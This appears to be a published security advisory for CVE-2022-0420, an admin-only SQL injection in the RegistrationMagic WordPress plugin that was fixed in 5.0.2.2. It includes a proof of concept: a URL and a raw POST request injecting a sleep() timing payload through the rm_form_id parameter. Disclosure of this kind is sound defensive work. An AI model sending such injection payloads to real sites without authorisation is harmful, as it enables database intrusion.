RegistrationMagic < 5.0.2.2 – Admin+ SQL Injection | CVE 2022-0420 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the rm_form_id parameter before using it in a SQL statement in the Automation admin dashboard, allowing high privilege users to perform SQL injection attacks

Proof of Concept

As admin, https://example.com/wp-admin/admin.php?page=rm_ex_chronos_manage_tasks&rm_form_id=sleep%285%29

POST /wp-admin/admin.php?page=rm_ex_chronos_manage_tasks HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [admin+]
Content-Length: 19
Content-Type: application/x-www-form-urlencoded

rm_form_id=sleep(1)

Affects Plugins

custom-registration-form-builder-with-submission-manager

Fixed in 5.0.2.2

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2672042

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

qerogram

Submitter

qerogram

Submitter website

https://github.com/qerogram

Verified

Yes

WPVDB ID

056b5167-3cbc-47d1-9917-52a434796151

Timeline

Publicly Published

2022-02-07 (about 3 years ago)

Added

2022-02-07 (about 3 years ago)

Last Updated

2022-04-13 (about 3 years ago)

Other

Published

Title

Published

2022-11-17

Title

Buddybadges <= 1.0.0 - Admin+ SQLi

Published

2023-01-19

Title

WP TopBar <= 5.36 - Admin+ SQLi

Published

2024-12-14

Title

LaunchPage.app Importer <= 1.1 - Unauthenticated SQL Injection

Published

2025-03-12

Title

WordPress Report Brute Force Attacks and Login Protection ReportAttacks Plugins < 2.33 - Authenticated (Admin+) SQL Injection

Published

2025-11-23

Title

ArtPlacer Widget < 2.23 - Authenticated (Contributor+) SQL Injection